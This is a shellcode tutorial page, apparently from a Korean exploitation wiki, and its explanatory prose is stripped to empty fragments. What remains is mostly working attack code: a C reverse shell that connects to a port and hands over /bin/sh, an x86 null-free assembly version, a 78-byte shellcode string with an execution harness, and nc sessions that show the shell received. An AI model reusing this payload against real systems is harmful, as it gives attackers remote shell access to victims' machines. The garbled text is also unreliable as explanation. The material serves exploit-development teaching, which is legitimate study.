


# 04.Reverse Shellcode

 Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up.

 Unknown macro: 'html'

## List

- [Reverse Shellcode](#)
  - [C language](#)
  - [Test program](#)
  - [Connect\(\)](#)
  - [Assembly code](#)
  - [Test program](#)
- [Related site](#)
- [Comments](#)

## Reverse Shellcode

- **Bind Shellcode** **Server** **Port** .
  - .
    - .
    - .
    - , Bind Shellcode .
- .
  - , PC .
  - Reverse Shellcode Port , IP,Port .

## C language

- **Bind shellcode** .
  - socket() Socket .
  - connect() .
  - dup2() Socket() (,.) () .
  - execve() "/bin/sh" .

### reverse.c

```
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void)
{
    int i, server_sockfd;
    socklen_t socklen;
    struct sockaddr_in server_addr;

    char *argv[] = { "/bin/sh", NULL };
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(2345);
    server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    server_sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
    connect(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));

    for(i = 0; i <= 2; i++)
        dup2(server_sockfd, i);

    execve( "/bin/sh", argv, NULL );
}
```

## Test program

- nc port.

### Create server

```
lazenca0x0@ubuntu:~$ nc -l -p 2345 -v
Listening on [0.0.0.0] (family 0, port 2345)
```

- .

### Connect to the server

```
lazenca0x0@ubuntu:~/back$ gcc -o reverse reverse.c
lazenca0x0@ubuntu:~/back$ ./reverse
```

- nc Port, nc "/bin/sh" .

### Client connected

```
lazenca0x0@ubuntu:~$ nc -l -p 2345 -v
Listening on [0.0.0.0] (family 0, port 2345)
Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 55482)
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
exit
lazenca0x0@ubuntu:~$
```

## Connect()

- connect() .

## SYNOPSIS

```
int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
```

- 3.

## /usr/include/linux/net.h

```
lazenca0x0@ubuntu:~$ cat /usr/include/linux/net.h |grep connect
#define SYS_CONNECT      3          /* sys_connect(2)          */
    SS_UNCONNECTED,          /* unconnected to any socket */
    SS_CONNECTING,          /* in process of connecting  */
    SS_CONNECTED,          /* connected to socket        */
    SS_DISCONNECTING        /* in process of disconnecting */
lazenca0x0@ubuntu:~$
```

## Assembly code

- "server\_addr.sin\_addr.s\_addr" .
  - IP Address 32bit, 8 bit .
  - Shellcode 8bit IP Address .
  - 127.0.0.1 127.1.1.1 .

## IP Address

IP Address	127.1.1.1
Hex	7f.01.01.01
Little-endian format	0x0101017f

## reverse-asm.s

BITS 32

```
;socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
push BYTE 102                ; socketcall    102 Stack .
pop eax                      ; Stack      EAX .
cdq                          ; EDX  DWORD  Null byte .
push dword 1                  ; socket      1 Stack .
pop ebx                      ; socketcall() 1 (EBX ) SYS_SOCKET(1) .
;
push edx                      ; socket()    3    0 Stack .
push ebx                      ; socket()    2    SOCK_STREAM(1) Stack .
push BYTE 2                    ; socket()    1    PF_INET(2) Stack .
mov ecx, esp                  ; socketcall() 2 (ECX )    (ESP ) .
int 0x80

;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xchg edx,eax                  ;      EDX .

;connect(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));
mov al, 0x66                  ; socketcall    102 Stack .
;struct sockaddr_in server_addr;
push DWORD 0x0101017f          ; server_addr.sin_addr.s_addr = inet_addr("127.1.1.1"); Little-endian
push WORD 0x2909                ; server_addr.sin_port = htons(2345); Little-endian
inc ebx                      ;
push WORD bx                    ; server_addr.sin_family = AF_INET;
mov ecx, esp                  ; ECX server_addr .
push BYTE 16                    ; connect()    3    16 Stack .
push ecx                      ; connect()    2    &server_addr Stack .
push edx                      ; connect()    1    server_sockfd Stack .
mov ecx, esp                  ; socketcall() 2    ECX .
inc ebx                      ; socketcall() 1    SYS_CONNECT(3) .
int 0x80

;for(i = 0; i <= 2; i++)
;
;    dup2(server_sockfd, i);
xchg edx,ebx                  ; dup2  1  socket()    (0x5) .
push BYTE 0x2                  ; Stack 2 .
pop ecx                      ; dup2  2  2 .
dup2_call:
    mov BYTE al, 0x3F          ; dup2      (63) AL .
    int 0x80                  ;
    dec ecx                    ; dup2()    2    (-1) .
    jns dup2_call              ;    (0) dup2_call .

;execve( "/bin/sh", argv, NULL );
mov BYTE al, 11                ; execve()      11 EAX .
xor edx, edx
push edx                      ;      Null Stack .
push 0x68732f2f                ; "//sh" Stack . Little-endian
push 0x6e69622f                ; "/bin" Stack . Little-endian
mov ebx, esp                  ; execve()    1    ESP .
push edx                      ; Stack Null .
mov edx, esp                  ; execve()    3    Null (ESP) .
push ebx                      ; Stack "/bin//sh" (EBX) .
mov ecx, esp                  ; execve()    2    (ESP,["/bin//sh"],[Null]) .
int 0x80                      ;
```

## Test program

## revShell.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x6a\x66\x58\x99\x6a\x1\x5b\x52\x53\x6a\x2\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x1\x1\x1\x66\x68\x9\x29\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xd3\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main()
{
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- nc .

```
lazenca0x0@ubuntu:~$ nc -lvp 2345
Listening on [0.0.0.0] (family 0, port 2345)
```

- reverse.c .

```
lazenca0x0@ubuntu:~/Reverse$ gcc -o revShell -z execstack -m32 revShell.c
lazenca0x0@ubuntu:~/Reverse$ ./revShell
Shellcode len : 78
```


- Shellcode nc "/bin/sh" .

```
lazenca0x0@ubuntu:~$ nc -lvp 2345
Listening on [0.0.0.0] (family 0, port 2345)
Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 48860)
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

## Related site

- <http://man7.org/linux/man-pages/man2/connect.2.html>

## Comments

 Unknown macro: 'html'

 Unknown macro: 'html'